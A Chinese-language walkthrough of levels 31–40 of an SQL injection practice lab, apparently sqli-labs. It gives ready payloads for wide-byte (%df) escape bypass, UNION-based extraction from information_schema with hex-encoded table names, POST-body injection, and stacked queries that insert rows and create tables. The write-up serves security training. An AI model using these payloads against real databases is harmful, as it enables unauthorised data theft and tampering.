第三十一關
這關一樣,閉合變成(",簡單測試,#號不能用
?id=1") and ("1")=("1")--+
第三十二關
這關會把我們的輸入里的單引號前面都加一個\使得單引號轉義,使它沒有任何意義只是一個字符,所以應該是寬字節注入。什么是寬字節?
- 當某字符的大小為一個字節時,稱其字符為窄字節.
- 當某字符的大小為兩個字節時,稱其字符為寬字節.
- 所有英文默認占一個字節,漢字占兩個字節
- 常見的寬字節編碼:GB2312,GBK,GB18030,BIG5,Shift_JIS等等
這里有兩個思路,第一個我們自己再添加一個斜杠\把系統添加的\轉義,但是這里會在我們添加的\前面還會再添加兩個個\把我們的\和'一起給轉義了.........
還有個思路就是寬字節注入,
當使用寬字節編碼,如:GBK時,兩個連在一起的字符會被認為是漢字,我們可以在單引號前加一個字符,使其和斜杠(\)組合被認為成漢字,從未達到讓斜杠消失的目的,進而使單引號發揮作用
注意:前一個字符的Ascii要大於128,兩個字符才能組合成漢字
就比如在單引號前面輸入一個%df這樣進入系統就變成%df%5c%27,但是因為mysql使用的寬字節編碼會把%df%5c當做一個漢字,所以就把\給注釋掉了
爆庫名
?id=-1%df' union select 1,2,database() --+
看到\和%df已經組合成功了
爆列名:
?id=-1%df' union select 1,2,group_concat(column_name) from information_schema.columns where table_name=0x7573657273 --+
這里將users進行hex編碼可繞過'單引號
之后操作一樣
第三十三關
這關和32關一樣啊,payload一模一樣都能用,看了下源碼連這關的標題都寫的32...
第三十四關
這關就是就是變成POST請求,order by只能猜到2列數據
爆列名:
uname=admin1%df' union select 1,group_concat(column_name) from information_schema.columns where table_name=0x7573657273 #&passwd=admin1&submit=Submit&
第三十五關
這關還是有轉義,但變成數字型注入了,不用引號了。直接注入就行。但是指定表名和數據庫名查詢還是要hex編碼。
爆列名:
?id=-1 union select 1,2,group_concat(column_name) from information_schema.columns where table_name=0x7573657273 --+
第三十六關
這關就是瀏覽器輸入的值經過mysql_real_escape_string() 函數轉義 SQL 語句中使用的字符串中的特殊字符。
下列字符受影響:
- \x00
- \n
- \r
- \
- '
- "
- \x1a
就是被轉義的關鍵字比較多,其實還是闊以用之前32關的寬字符注入來做,一樣的payload
爆列名:
?id=-1%df' union select 1,2,group_concat(column_name) from information_schema.columns where table_name=0x7573657273 --+
第三十七關
這關和34關類似,一樣的payload,用post方法提交
爆列名:
uname=admin1%df' union select 1,group_concat(column_name) from information_schema.columns where table_name=0x7573657273 #&passwd=admin1&submit=Submit&
第三十八關
這關看標題是堆疊注入,就是把很多條sql語句堆在一起使用,用分號區分不同的sql語句。雖然限制很多但利用mysqli_multi_query()函數就支持多條sql語句同時執行。
平常sql注入受到sql語句的限制就是來查查數據,但利用堆疊注入完全可以自己構造sql語句,對數據庫進行增刪改查操作,可謂危害很大。
這關也可以用尋常的sql注入套路。
向users表插入數據
?id=1';insert into users(id,username,password) value (66,'acca','bbc') --+
新建一個以emails表為模板的表
?id=1';create table test like emails;--+
第三十九關
和上一關一樣,沒有閉合了變成數字型注入,其他一樣。
新建一個以emails表為模板的表
?id=1;create table test like emails;--+
第四十關
與前幾關一樣,閉合變成')
插入數據
?id=1') ;insert into users(id,username,password) values('17','aaa','bbb'); %23